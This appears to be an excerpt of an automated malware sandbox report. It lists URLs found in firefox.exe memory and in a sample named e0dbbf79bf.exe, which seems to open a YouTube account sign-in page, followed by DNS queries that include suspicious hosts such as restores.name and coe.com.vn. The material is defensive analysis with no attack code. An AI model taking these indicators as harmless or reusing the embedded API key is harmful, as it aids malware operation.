Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB51B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB5AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2430591232.000001F401A6F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/This represents the number of days that we expect to enroll new users. Note that this property is only used during the analysis phase (not by the SDK) equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/This represents the number of days that we expect to enroll new users. Note that this property is only used during the analysis phase (not by the SDK) equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/This represents the number of days that we expect to enroll new users. Note that this property is only used during the analysis phase (not by the SDK) equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760099219.000001F401203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760099219.000001F401203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760099219.000001F401203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2772231477.000001F401E67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2526847730.000000A33F1D8000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/account/ equals www.youtube.com (Youtube)
Source: History.31.dr String found in binary or memory: https://www.youtube.com/accountYouTube equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountapp.update.lastUpdateTime.%ID% equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accounthttps://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2430591232.000001F401A6F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.commenu-bookmarks-mobile equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2494349340.000001F4004D6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.comom equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED52000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https:www.youtube.com:443:.:^partitionKey=%28https%2Cyoutube.com%29:3 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFA74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https:www.youtube.com:443:www.youtube.com:443::n:1724573628:h3:y:1721981601:n:^partitionKey=%28https%2Cyoutube.com%29:|n:y: equals www.youtube.com (Youtube)
Source: WebAssistDatabase.31.dr String found in binary or memory: ihttps://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I74Bc0A4eS5IRRY217CgWmJMiUeLZFCNj3xJUxAZb1TEDAEb59tq_j-opR0UcxkOBfhynly36Q&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S907487432%3A1721977063310013&ddm=0YouTubeshare video friend family worldf equals www.youtube.com (Youtube)
Source: WebAssistDatabase.31.dr String found in binary or memory: khttps://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I76bhaA_aVty0iMsNWpSFD_kqdmV32oHOGHqV7-nl1HJIHGO7E4i_rwNArhc2F8my2kH4-eCsg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-552832755%3A1721977076390066&ddm=0YouTubeshare video friend family worldf equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF50D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: moz-nullprincipal:{494fcdfd-43a8-46e3-877f-26248bf8973e}?https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401D9C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: moz-nullprincipal:{b0f79af7-cfec-48ab-b4a1-fc4550790d9e}?https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2181650607.0000027667472000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143690714.000002766746D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: s://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2424135237.000001F401A8B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: s://www.youtube.com/accountlastModified equals www.youtube.com (Youtube)
Source: e0dbbf79bf.exe, 00000014.00000003.2139947751.00000000021D7000.00000004.00000020.00020000.00000000.sdmp, e0dbbf79bf.exe, 00000014.00000003.2140080976.00000000020C0000.00000004.00000020.00020000.00000000.sdmp, e0dbbf79bf.exe, 0000002B.00000003.2323750612.0000000002140000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: set "URL=https://www.youtube.com/account" equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2494910858.000001F400485000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F4013D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: tlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF723000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=enmoc.elgoog.stnuocca. equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755898255.000001F400F56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400FDC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000003.2498006915.000001F3FFC54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494910858.000001F4004AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2424135237.000001F401A8B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741348665.000001F3FF55D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.com:443 equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr String found in binary or memory: www.youtube.comRhj equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2763245710.000001F401603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2451059348.000001F401642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2448634428.000001F401633000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.comZ equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr String found in binary or memory: www.youtube.com\ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DB3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2451059348.000001F401642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2448634428.000001F401633000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.com` equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr String found in binary or memory: www.youtube.comaccounts.google.com equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr String found in binary or memory: www.youtube.comaccounts.google.com/| equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr String found in binary or memory: www.youtube.comaccounts.google.comRhj equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF714000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.comprecisionType equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr String found in binary or memory: www.youtube.comwww.youtube.com equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr String found in binary or memory: www.youtube.comwww.youtube.com\ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD91C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400FC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400F2B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: x*://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD933000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401DC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764269512.000001F4018E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: x.S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2765179427.000001F40195E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2383402901.000001F4019F0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: xabout:certerror?e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB51B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2739459601.000001F3FF30A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: xe=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733365636.000001F3FD933000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: xhttps://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB51B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733365636.000001F3FD933000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: xhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: xhttps://www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED52000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: xhttps:www.youtube.com:443:.:^partitionKey=%28https%2Cyoutube.com%29:3 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2494910858.000001F400485000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F4013D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: xtlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF723000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: youtube.com/accountmoc.ebutuoy.www. equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ~predictor-origin,:https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: www.youtube.com
Source: global traffic DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: example.org
Source: global traffic DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: mitmdetection.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: o.pki.goog
Source: global traffic DNS traffic detected: DNS query: pki-goog.l.google.com
Source: global traffic DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: ip-api.com
Source: global traffic DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic DNS traffic detected: DNS query: coe.com.vn
Source: global traffic DNS traffic detected: DNS query: restores.name
Source: unknown HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message
